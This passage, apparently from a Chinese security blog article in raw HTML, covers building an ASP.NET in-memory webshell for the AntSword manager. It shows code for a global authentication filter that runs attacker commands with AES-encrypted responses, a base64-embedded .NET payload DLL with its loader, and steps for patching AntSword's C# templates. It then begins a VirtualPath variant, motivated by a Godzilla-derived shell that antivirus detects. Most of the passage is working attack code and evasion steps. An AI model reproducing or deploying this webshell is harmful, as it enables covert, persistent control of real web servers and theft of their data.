var aes_response = new RijndaelManaged();                aes_response.IV = Encoding.UTF8.GetBytes(key);                aes_response.Key = Encoding.UTF8.GetBytes(key);                aes_response.Mode = CipherMode.CBC;                aes_response.Padding = PaddingMode.Zeros;                var cTransform = aes_response.CreateEncryptor();                var resultArray_response = cTransform.TransformFinalBlock(arraysm_response, 0, arraysm_response.Length);                string str_aes_response_b64 = Convert.ToBase64String(resultArray_response);                context.Response.Write(str_aes_response_b64);*/</span>                context.Response.End();            }            Console.WriteLine(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;auth filter inject&#34;</span>);        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">OnAuthenticationChallenge</span>(<span style="line-height: 26px;">AuthenticationChallengeContext filterContext</span>)</span>        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> a = <span style="color: rgb(209, 154, 102);line-height: 26px;">1</span>;        }    }&lt;/script&gt;&lt;%    GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;    globalFilterCollection.Add(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> MyAuthFilter(), <span style="color: rgb(209, 154, 102);line-height: 26px;">-2</span>);%&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">添加后发现可以处理cmd及测试连接即仅有ant参数的功能，而蚁剑管理文件还需要添加path参数，导致报错</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.25806451612903225" data-s="300,640" data-type="png" data-w="961" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=74cf7e63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia0H1BZObv2xtqzdnLRpfHsRRQWCMiacdCbOBBmZewFZmQ2mWGOZYcPAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">去翻一下payload源码，看下data[_]的赋值到底是怎么做的,将dll还原</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.IO;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Collections.Generic;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Linq;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Text;<span style="color: rgb(198, 120, 221);line-height: 26px;">using</span> System.Threading.Tasks;<span style="color: rgb(198, 120, 221);line-height: 26px;">namespace</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">test1</span>{    <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Program</span>    {        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">static</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Main</span>(<span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">string</span>[] args</span>)</span>        {            <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> Asstring = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;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b25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0Zvcm0AZ2V0X0l0ZW0AU3RyaW5nAENvbmNhdABFeGNlcHRpb24AZ2V0X01lc3NhZ2UAV3JpdGUAVHlwZQBHZXRUeXBlAGdldF9Jc0FycmF5AEh0dHBDb250ZXh0AGdldF9SZXNwb25zZQBnZXRfUmVxdWVzdABnZXRfQ3VycmVudABwYXRoAFN5c3RlbS5JTwBEaXJlY3RvcnlJbmZvAEdldERpcmVjdG9yaWVzAEZpbGVTeXN0ZW1JbmZvAGdldF9OYW1lAEZpbGUARGF0ZVRpbWUAR2V0TGFzdFdyaXRlVGltZQBUb1N0cmluZwBGb3JtYXQARmlsZUluZm8AR2V0RmlsZXMAZ2V0X0xlbmd0aABJbnQ2NABoZXgAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBTdWJzdHJpbmcASW50MzIAU3lzdGVtLkdsb2JhbGl6YXRpb24ATnVtYmVyU3R5bGVzAFBhcnNlAENvbnZlcnQAVG9DaGFyAEFwcGVuZABzcmMAb3BfRXF1YWxpdHkARW5jb2RpbmcAR2V0RW5jb2RpbmcARnJvbUJhc2U2NFN0cmluZwBHZXRTdHJpbmcAR2V0Qnl0ZXMAVG9CYXNlNjRTdHJpbmcAAAtVAFQARgAtADgAAQ1iAGEAcwBlADYANAAAAQADMgAABy0APgB8AAEHfAA8AC0AAQlwAGEAdABoAAATRQBSAFIATwBSADoALwAvACAAABt7ADAAfQAvAAkAewAxAH0ACQAwAAkALQAKAAEneQB5AHkAeQAtAE0ATQAtAGQAZAAgAGgAaAA6AG0AbQA6AHMAcwABHXsAMAB9AAkAewAxAH0ACQB7ADIAfQAJAC0ACgABB2gAZQB4AAAAAACq+d0F1oRrR7bCYt6MxNdGAAi3elxWGTTgiQiwP19/EdUKOgMGEgkDBhINAgYOBCABAhwEIAEBHAQgAQ4OAyAAAQQgAQEIBCABAQ4EIAASGQUAAg4ODgMgAA4GAAMODg4OCAcFDg4ODhIhBCAAEiUDIAACAh0cBCAAEg0EIAASCQQAABIpCAcDHRwSKRIpBSAAHRItBQABETkOBgADDg4cHAUgAB0SPQMgAAoHAAQODhwcHBUHCg4SLRItEj0dEi0IETkd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&#34;</span>;            <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] Asbyte = Convert.FromBase64String(Asstring);            StreamWriter sw = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> StreamWriter(<span style="color: rgb(152, 195, 121);line-height: 26px;">@&#34;dir.dll&#34;</span>);            sw.BaseStream.Write(Asbyte, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, Asbyte.Length);            sw.Close();        }    }}</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">使用dnspy逆向看下代码,找到多了一层base64的原因</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5157407407407407" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a2a4b3e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiahUG2WNAh5oKWmaFBDwj7JGH1U97CEXl2OAYrQV6J0JeOx6rUdKdP1g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">然而最后致命错误居然是byte[]转string结尾会有\00字符，所以字节长度不正确，base64报错，需在结尾去除</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以对比下删除和不删除情况下string的length就可以看到</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">var</span> res = utf8.GetString(plainBytes).TrimEnd(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#39;\0&#39;</span>).TrimEnd(<span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">同时开始着手修改返回包加密，找到蚁剑aspxcsharp项目的payload（<a href="https://github.com/AntSwordProject/AntSword-Csharp-Template）" target="_blank">https://github.com/AntSwordProject/AntSword-Csharp-Template）</a></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">可以在源码中看到输出在asoutput方法中，直接修改try中的功能代码</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3597972972972973" data-s="300,640" data-type="png" data-w="592" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3746426e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia3lOiaouro8uYnVkoF84byjA5ppTGjkyabTw9JiaGdeFlFAvb4rWVZyvw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.47619047619047616" data-s="300,640" data-type="png" data-w="651" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=06b60ee4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaTzRKStvk0o3AVNGh1yGXncy4Ic2y17HAnicVDSUhdbcdePd1yqAOz4g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">同时在开头加入模块引用</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.38484848484848483" data-s="300,640" data-type="png" data-w="330" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=025fc0ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaKZabjLmRCibKyTntH2Kr95ztP4E0FYQa6JrW4icAX5Hicben4PzrZBPFA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">使用项目的build脚本编译，将编译成功的dist文件夹中的文件替换掉antSword-master\antSword-master\source\core\aspxcsharp\template中的文件，重启蚁剑</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">修改成功如下</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3378712871287129" data-s="300,640" data-type="png" data-w="808" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=824e3bda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaIibhE9B49F3hQezo6kJzO9QnCcaicIMjvYWOSzN8HIvkfnbJRF0NUAgw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">VirtualPath</h3><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">实际使用中发现报错，但哥斯拉派生的内存马可以但是会被杀，逆向dll发现使用virtualpath的方式，并存在通过反射绕过frendlyurl和预编译代码</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34530938123752497" data-s="300,640" data-type="png" data-w="1002" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3ee5cce8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia3ZhiaMtyibFuCt0tL73icYq6b1wKXJjoTHTEic3qPkQeBKcsxTxRtxsFnQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5241779497098646" data-s="300,640" data-type="png" data-w="1034" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb1e0b28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaXOWXHTk2ls26J95Hykib30b6Cky3cwHZlISTRF7ms0EVgH7dhTZx4nA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">于是根据据实际环境修改内存马如下</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.Diagnostics&#34;</span> %&gt;&lt;%@ Import Namespace=<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;System.IO&#34;</span> 